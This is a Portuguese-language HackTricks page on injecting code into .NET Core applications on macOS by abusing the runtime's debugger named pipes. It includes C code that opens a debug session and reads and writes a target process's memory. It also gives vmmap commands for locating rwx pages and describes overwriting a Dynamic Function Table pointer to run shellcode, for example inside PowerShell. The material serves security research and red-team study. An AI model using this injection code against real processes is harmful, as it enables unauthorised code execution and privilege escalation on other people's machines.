hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md

11 KiB

Injeção em Aplicações .Net no macOS

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Depuração do .NET Core

Estabelecer uma sessão de depuração

dbgtransportsession.cpp é responsável por lidar com a comunicação entre o depurador e o depurado.
Ele cria 2 pipes nomeados por processo .Net em dbgtransportsession.cpp#L127 chamando twowaypipe.cpp#L27 (um terminará em -in e o outro em -out, e o resto do nome será o mesmo).

Portanto, se você for ao $TMPDIR do usuário, poderá encontrar fifos de depuração que poderiam ser usados para depurar aplicações .Net:

A função DbgTransportSession::TransportWorker lidará com a comunicação de um depurador.

A primeira coisa que um depurador precisa fazer é criar uma nova sessão de depuração. Isso é feito enviando uma mensagem através do pipe out começando com uma estrutura MessageHeader, que podemos obter do código-fonte do .NET:

struct MessageHeader
{
MessageType   m_eType;        // Type of message this is
DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
DWORD         m_dwId;         // Message ID assigned by the sender of this message
DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
DWORD         m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;

BYTE                    m_sMustBeZero[8];
}

No caso de uma nova solicitação de sessão, essa struct é preenchida da seguinte forma:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;

// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;

// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;

// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

Uma vez construído, enviamos isso para o alvo usando a chamada de sistema write:

write(wr, &sSendHeader, sizeof(MessageHeader));

Seguindo nosso cabeçalho, precisamos enviar uma estrutura sessionRequestData, que contém um GUID para identificar nossa sessão:

// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));

// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

Ao enviar nossa solicitação de sessão, nós lemos do out pipe um cabeçalho que indicará se nossa solicitação para estabelecer se uma sessão de depuração foi bem-sucedida ou não:

read(rd, &sReceiveHeader, sizeof(MessageHeader));

Ler Memória

Com uma sessão de depuração estabelecida, é possível ler memória usando o tipo de mensagem MT_ReadMemory. Para ler alguma memória, o código principal necessário seria:

bool readMemory(void *addr, int len, unsigned char **output) {

*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

memset(*output, 0, len);

// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}

return true;
}

O código de prova de conceito (POC) pode ser encontrado aqui.

Escrever memória

bool writeMemory(void *addr, int len, unsigned char *input) {

sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;

// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Write the data
if (write(wr, input, len) < 0) {
return false;
}

// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}

// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}

return true;

}

O código POC utilizado para isso pode ser encontrado aqui.

Execução de código .NET Core

A primeira coisa é identificar, por exemplo, uma região de memória com rwx ativa para salvar o shellcode a ser executado. Isso pode ser feito facilmente com:

vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"

Então, para desencadear a execução, seria necessário saber algum lugar onde um ponteiro de função é armazenado para sobrescrevê-lo. É possível sobrescrever um ponteiro dentro da Tabela de Funções Dinâmicas (DFT), que é usada pelo tempo de execução do .NET Core para fornecer funções auxiliares para a compilação JIT. Uma lista de ponteiros de função suportados pode ser encontrada dentro de jithelpers.h.

Nas versões x64 isso é direto usando a técnica de caça de assinaturas ao estilo mimikatz para procurar em libcorclr.dll por uma referência ao símbolo _hlpDynamicFuncTable, que podemos desreferenciar:

Tudo o que resta a fazer é encontrar um endereço do qual iniciar nossa busca de assinatura. Para fazer isso, aproveitamos outra função de depuração exposta, MT_GetDCB. Isso retorna uma série de informações úteis sobre o processo alvo, mas para o nosso caso, estamos interessados em um campo retornado contendo o endereço de uma função auxiliar, m_helperRemoteStartAddr. Usando este endereço, sabemos exatamente onde libcorclr.dll está localizado na memória do processo alvo e podemos iniciar nossa busca pela DFT.

Sabendo desse endereço, é possível sobrescrever o ponteiro da função com o nosso próprio shellcode.

O código POC completo usado para injetar no PowerShell pode ser encontrado aqui.

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: